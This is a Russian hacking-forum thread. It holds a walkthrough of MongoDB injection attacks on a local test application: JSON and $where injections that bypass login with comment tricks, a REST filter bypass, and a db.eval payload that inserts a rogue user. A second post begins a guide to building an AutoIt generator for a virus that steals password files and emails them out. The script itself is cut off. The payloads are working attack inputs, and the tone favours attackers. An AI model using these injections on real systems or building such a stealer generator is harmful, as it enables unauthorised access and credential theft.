так-то в конкретной ситуации всего один раз взглянув на файл /lib/mongodb.js можно было сделать вывод что все уязвимые функции которые мы будем эксплуатировать находяться именно в нем этот раз не исключение но мы-то действуем так какбуд-то этого не знаем и поэтому смотрим интересующую нас функцию :

Код:
"json-injection": function () {

pageTitle = locale.mongoJsonInjTitle;



processRequest(function (login, password) {

var loginParam = eval("({ login: '" + login + "', password: '" + password + "' })");

return loginParam;

});

},
тут тоже знать пароль вобщем-то ненужно так-как тничто не фильтруеться , хотя тут случай покруче - его даже вводить не надо достаточно в поле логин ввести
Код:
root'})//
и мы снова увидим желаемое приглашение , а произойдет это по той причине что "//" в javascript-e это комментарий и при помоши эвала мы из аутенфикации ваще отрежем пароль тоесть запрос в БД примет следующий вид :

Код:
db.users.findOne({login: 'root'})
итак вторую дыру вроде разобрали , пора браться за 3-ю ...

на очереди манипуляции с REST интерфейсом и как наверняка все уже догадались в первую очередь давайте переключим наше уязвимое приложение на соответствующий пункт + в новой вкладке браузера откроем линк http://127.0.0.1:28017/ если все было запущено правильно то увидим что-то похожее на то что вы видите на скрине :
f39d8ab162ce.jpg
 
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
мне оно чем-то напоминает phpmyadmin только это ваще неудобная хрень ибо нет никаких связанных элементов незнаю как кому-то но мне дико влом тупо писать http://127.0.0.1:28017/listdatabases/?text=1 что-бы вытягивать инфу

то что вы увидели это ответ REST интерфейса в формате JSON
запросы через rest интерфейс осуществляеться через урл следующим способом :

Код:
http://127.0.0.1:28017/имя_бд/имя_коллекции/?filter_имя_поля=значение
думаю тут сложного ничего нет а теперь ближе к делу - попробуй залогиниться без пароля с логином root# и о-чудо тебе опять это удалось ))) здесь все дело в том что при помощи # удалось проигнорировать фильтр

Код:
filter_password=P@ssw0rd
вобщем rest интерфейсы это жуткая штука для любого разраба ...)) кстати подробнее об нем можно почитать ТУТ только не надо думать что я скинул что-то не то , все правильно REST интерфейс часто юзаеться для проведения CSRF атак , так что качаем пдфки и курим инфу !

ну вот наконец-то мы подобрались к последнему , 4-му способу похекать монгодб - это javascript иньекции , так что давай переключай приложение для тестирования данного типа уязвимостей и давай будем курить матчасть ))

вот последнему я ваще был поражен на мой взгляд даже самый жестокий быдлокодер не придумал-бы вместо собственного языка запросов юзать JS код но разрабы монгодб "крутые ребята" и они предоставили тебе yнесколько интересных моментов юзанья JS кода в запросе :

1) блок $where
Код:
db.pzdc.find({$where : "this.hren > 10"})
2) команда db.eval()
Код:
db.eval("function(x){return x*x;}"2)
такой код вернет 4

3) функции для сохранения JS кода в БД (юзаеться специальная системная коллекция system.js)
создадим-ка мы новую функцию ashhe_pzdc(x)
Код:
db.system.js.save({_id : "ashhe_pzdc" , value : function(x){return x*x;}})
после чего ее можно заюзать таким образом :
Код:
db.eval("ashhe_pzdc(1000)")
4) Map/Reduce данная технология разрабатывалась гуглом для одновременных охрененно сложных вычислений , глянуть доки о реализации данной технологии в монгодб можно тут но описания техник взлома использущих данную технологию в этой статье не будет (

так ну раз все рассказано давайте приступим к осуществлению взлома нашего уязвимого приложения и начнем с эксплуатации $where , не буду мучать тебя рассказами о том как искать код ибо все однотипно поэтому давай сразу глянем уязвимую функцию сам знаешь в каком файле ...

Код:
"ssji-where": function () {

pageTitle = locale.mongoSsjiWhereTitle



processRequest(function (login, password) {

var js = "this.login === '" + login + "' && this.password === '" + password + "'";

var loginParam = { "$where" : js };

return loginParam;

});

},
ну тут раз уже известно что ничто не фильтруеться давай логиниться при помощи только логина отфильтровав из запроса пароль .. спросишь как ? да все элементарно-же ввели в логине
Код:
root'//
многих наверное уже не удивляет что мы оказались залогинены в системе а произошло это потосъму что запрос к БД принял следующий вид
Код:
db.users.find{$where : "this.login === \'root\' //\' this.password ===\'\'"}

// - это комент в JS поэтому это //\' this.password ===\'\' будет успешно отсечено из запроса
там все было печальненько так как БД находилась в режиме "только чтение" и мы не могли накатать скрипт который ваще поменял-бы аутенфикационные данные (( но дело обстоит иначе с юзаньем db.eval() .. не будем е*ть ежа и сразу глянем на уязвимую функцию :

Код:
"ssji-eval": function () {

pageTitle = locale.mongoSsjiEvalTitle;



processRequest(function (login, password) {

var js = "function () { return db.users.findOne ({ login: '" + login +

"', password: '" + password + "' }); }"

return { isEval: true, jsCode: js };

});

},
одного взгляда на этот беспредел достаточно что-бы понять что накодить свой JS скрипт и выполнить его на сервере нам сам бог велел ))) делаеться это как-то так :

Код:
'}), "ваш код" //

пример :
'}), db.users.insert({login : 'hacked' , password : 'by_k0d.cc_team'}) , 1} //
введите данный пример в поле логин и создадите нового юзера ))
Подводим итоги :
вобщем спасибо разрабам подобных бд , ПОБЛЕВАЛ ))) так-же хочу отметить что это инфа только относительно монгодб но есть еше и куча других , у которых в свою очередь язык запросов на чем только не реализован , в этом и есть основная ошибка играющая нам на руку , если у реляционных бд был только стандартизированный язык запросов SQL то у nosql бд кто как хочет тот так и реализует это отсюда и великая куча дыр
 
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
Как написать билдер(генератор готовых программ)

В данной статье поговорим о том как можно написать генератор готовых программ (билдер),на скриптовом языке Autoit,ведь пользователям которые ни чего не понимают (и не хотят)в программирование,довольно сложно ориентироваться в коде какого либо языка,что бы внести изменения и настроить его под себя,а потом ещё и компилировать этот код,что для многих является реальной проблемой,даже если в компиляторе всего пару кнопок и пару полей(да,*** встречаются и такие).
В принципе по такой же схеме можно писать и для других языков программирования,правда если язык позволяет работать с памятью и ресурсами,то лучше писать иначе,у нас же язык умеет работать только с файлами,от чего мы и будем отпираться.

Теория:

Алгоритм нашего генератора будет иметь следующий вид:
Распаковываем архив с нужными для компилирования вируса файлами (это компилятор,все необходимые для вируса библиотеки,иконка и сам скрипт вируса)во временную папку (temp - директория в которой Windows позволяет делать практически всё что угодно,не имея прав администратора или каких либо других привилегий),после в поля оболочки GUI будут вписываться необходимые данные( в нашем случае это данные для авторизации на почтовом сервере и почтовый ящик куда будет отправляться письмо с файлами),по нажатие кнопки "генерировать" будут вписываться указанные в GUI данные, в скрипт и при помощи компилятора Autoit компилироваться и упаковываться сам вирус,в итоге пользователь будет получать готовый к употреблению продукт.

Подготовка.

Берём скрипт к которому мы собираемся написать генератор,в моём случае это будет скрипт ворующий файлы с паролями,которые после он отправляет на указанный почтовый адрес,вот он:
 
Назад
Сверху